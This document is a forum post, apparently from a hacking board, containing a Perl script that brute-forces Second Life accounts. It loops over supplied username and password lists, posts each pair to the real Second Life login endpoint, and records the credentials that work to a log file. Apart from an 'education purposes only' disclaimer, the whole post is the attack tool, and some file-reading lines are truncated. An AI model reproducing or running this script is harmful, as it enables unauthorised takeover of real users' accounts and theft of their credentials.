Locked Secondlife Brute Force

[sQuo]

[LENGUAJE=perl]

#!perl

#----------------------------------------------------------------------------------------------|

#Brute F0rce accounts Secondlife.com |

#Author: f0rsaken |

#Contact: Skype; f0rsaken_x03 Email; [email protected] |

#Version: 1.0 |

#Copyright: this program is under a Creative Commons Attribution 2.0 Polska License. |

#Greets: The Collector - MasoqFellipe - r00t1ng - Junin Red - Espartanos - Sky gh0st |

# !WARNING! |

# THIS PROGRAM IS MADE FOR EDUCATION PURPOSES ONLY ! I'M NOT RESPONSIBLE FOR YOUR ACTIONS !!! |

#----------------------------------------------------------------------------------------------|

 

#http://search.cpan.org/~dland/Crypt-SSLeay-0.54/SSLeay.pm IS REQUIRED !!!!

 

use Getopt::Std;

use HTTP::Request::Common qw(POST);

use LWP::UserAgent;

 

$SIG{'INT'} = \&sig_catch;$SIG{'HUP'}='IGNORE';$SIG{'TERM'}='IGNORE';

$SIG{'CHLD'}='IGNORE';$SIG{'ALRM'}='IGNORE';

 

$| = 1;

 

sub sig_catch {

exit;

}

 

getopts('u:p:');

our($opt_u,$opt_p);

 

my $userlist = $opt_u;

my $passlist = $opt_p;

 

if ($userlist eq "") {

print "\n";

print "***************************************************************************\n";

print " _ _ _ _____ \n";

print "| | | | __ _ __ _ __ _ ___| |_|_ _|__ __ _ _ __ ___ \n";

print "| |_| |/ _` |/ _` |/ _` / __| '_ \| |/ _ \/ _` | '_ ` _ \ \n";

print "| _ | (_| | (_| | (_| \__ \ | | | | __/ (_| | | | | | | \n";

print "|_| |_|\__,_|\__, |\__,_|___/_| |_|_|\___|\__,_|_| |_| |_| \n";

print" |___/ \n";

 

print "Secondlife Bruteforcer v1.0 \n";

print "Code by f0rsaken(HagashTeam) \n";

print "usage: perl $0 -u -p \n";

print "***************************************************************************\n";

exit (1);

}

 

open(USERS, "

open(WORDS, "

@users= ;

@words= ;

close(USERS);

close(WORDS);

$i=0;

 

foreach $user (@users) {

chomp($user);

foreach $pass (@words) {

chomp($pass);

$ua = LWP::UserAgent->new;

printf("\n%5d Trying $user:$pass", ++$i);

my $req = POST 'https://id.secondlife.com/openid/login?return_to=https%3A%2F%2Fsecondlife.com%2Fauth%2Foid_return.php%3Fredirect%3Dhttps%253A%252F%252Fsecondlife.com%252Fmy%252Findex.php%253Flang%253Den-US&language=en-US',

[ username => $user, password => $pass, login => 'Sign+me+in' ];

 

my $res = $ua->request($req);

 

if ($res->as_string =~ /cookiecheck/gi) {

open (LOG, ">>bruted_secondlife_accounts.txt");

$time = time();

$loctime = localtime($time);

print LOG "\n";

print LOG "Time: $loctime\n";

print LOG "username: $user\n";

print LOG "passowrd: $pass\n\n";

close(LOG);

}}}

 

[/LENGUAJE]